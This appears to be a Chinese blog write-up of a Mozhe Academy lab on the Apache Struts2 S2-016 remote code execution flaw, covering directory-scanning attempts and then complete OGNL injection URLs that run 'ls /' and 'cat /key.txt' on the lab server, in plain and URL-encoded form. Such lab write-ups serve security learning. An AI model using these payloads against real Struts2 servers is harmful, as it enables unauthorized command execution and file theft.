墨者学院13 Apache Struts2远程代码执行漏洞(S2-016)复现

问题描述

题目链接:Apache Struts2远程代码执行漏洞(S2-016)复现

Don't talk about any programs, structures, algorithms, principles; I will copy, paste, download, start, a button on Getshell to show you!

啊我太喜欢这句话啦,又菜又叼,一会儿我要设置成自己的个性签名哈哈哈哈!


解决方案:

工具:御剑、Maltego

参考:答案区Remiliatonshu二位大佬的解答

1 查看源代码

习惯性ctrl+u查看页面的源代码~

 发现这里有一个链接,点开后如下图所示~

 出题人已经超级非常贴心地把漏洞介绍摆在这里了:带有"action:"/"redirect:"/"redirectAction:"允许在url上运行远程执行命令,后面甚至有POC示例~

————————————

以下是不重要的错误解法,没有耐心的小伙伴请直接跳过此灰色区域:

后续思路大概是找一个搜索后台的工具,查一下后台有没有带.action、.redirect、或者.redirectAction的文件~

似乎御剑和maltgo似乎可以扫描后台,但是我确实没有具体使用过,所以我们逐个试一下,能不能现学现卖~

御剑下载地址:御剑下载使用教程_码啊码的博客-CSDN博客_御剑如何使用

Maltego下载地址:Downloads - Maltego

Maltego入门介绍:Maltego!强大的信息搜集工具,太牛了! - 知乎 (zhihu.com)

首先是御剑,解压以后,在御剑配置文件中有一些自带的迷你字典,我们选择PHP.txt,复制,然后把.php后缀全部替换为.action,起名为ACTION.txt,如下图所示~

在文件夹中再新建一个名字 “靶场.txt”,输入我们的网址~

文件夹目前多了两个文件,action.txt是我们的字典,靶场.txt是我们要查询的域名~

此时双击御剑1.5—批量扫描后台—外部导入域名列表—靶场.txt—右上角找到字典ACTION.txt并且双击,然后点击开启扫描~

但是发现扫描完成后没有显示任何有用的网页...这就让人很难受了...

然后默默地注册、下载了maltgo(官方下载链接在上面博文上面放出~),经过了漫长地等待、傻瓜式一键安装,Maltgo Community Edition就此到手啦~(话说,好像Kali是自带的~)

左上角新建文件,New,从左边的Entity Palatte中找到URL项目,拖到屏幕中央~

双击图标,输入测试网址,点击左侧运行,再点击弹窗的RUN~

随着叮的一声,查询过程就结束了,真的好厉害...

仔细看了一圈,其实也是没有找到想要的getshell网址...可能和我不太会用这个软件有关系吧...

————————————

2 POC测试

嗯...无论是凭借过人的才智、天选的运气还是还是臭不要脸地偷看答案,假设我们已经猜到了这个index.action网页,是可以访问的~

根据链接cwiki中给出的poc,验证一下,发现会有错误~

http://124.70.71.251:40485/index.action?action:%25{3*4}

根据评论区的提醒,似乎是因为没有进行URL编码导致的问题,再用URL编码一下试试~

http://124.70.71.251:40485/index.action?action:%2525%7B3*4%7D

看起来页面像是有回应了,虽然是个404,不是我们想要的结果~

继续换成 "redirect:"、"redirectAction:"再分别试一下~执行乘法算式3x4,并且url编码~

http://124.70.71.251:40485/index.action?redirect:%{3*4}
http://124.70.71.251:40485/index.action?redirect:%25%7B3*4%7D

成功执行,网页返回12,说明这个格式是可用的~

3 查看文件

根据cwiki网页的内容,Command Execution中,已经提示好了固定格式~

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{ 'command','goes','here'})).start()}

我们可以直接替换掉红字的内容,实现基本的命令执行~

以下是大神的解法~大意是输入执行ls(阅读文件),并输出结果~

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start() //执行进程ls
#b=#a.getInputStream() //获取子进程的输入流
#c=new java.io.InputStreamReader(#b) //读取字节并使用指定的字符集将它们解码为字符
#d=new java.io.BufferedReader(#c) //从字符输入流中读取文本
#e=new char[50000] //申请50000数组的内存
#d.read(#e) //读取的文本存入到数组
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse') //获取strut2调度程序HTTP响应信息文本内容
#matt.getWriter().println(#e) //输出#e的内容
#matt.getWriter().flush() //刷新
#matt.getWriter().close() //关闭

合在一起,用逗号隔开,粘在网址后,大概就是这样的~

http://124.70.71.251:40485/index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','/'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

再次进行URL编码,粘贴到地址栏,运行后发现有一个index.action的小文件可以下载,打开后如截图所示~

http://124.70.71.251:40485/index.action?redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

发现key.txt,于是下一步就是把EXP第一步的ls改为cat key.txt(查看文件 key.txt),其余不变,并且进行URL编码~

http://124.70.71.251:40485/index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
http://124.70.71.251:40485/index.action?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%27cat%27%2C%27%2Fkey.txt%27%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

又会弹出一个小文件,打开后的结果如图~

key:mozhe4f089d121e5762eb89891ffb6b2 

哎,羡慕~什么时候我也可以写出这样行云流水般的EXP~

愿本文有所帮助~欢迎留言沟通与讨论~(●'◡'●)

猜你喜欢

转载自blog.csdn.net/weixin_42789937/article/details/129191069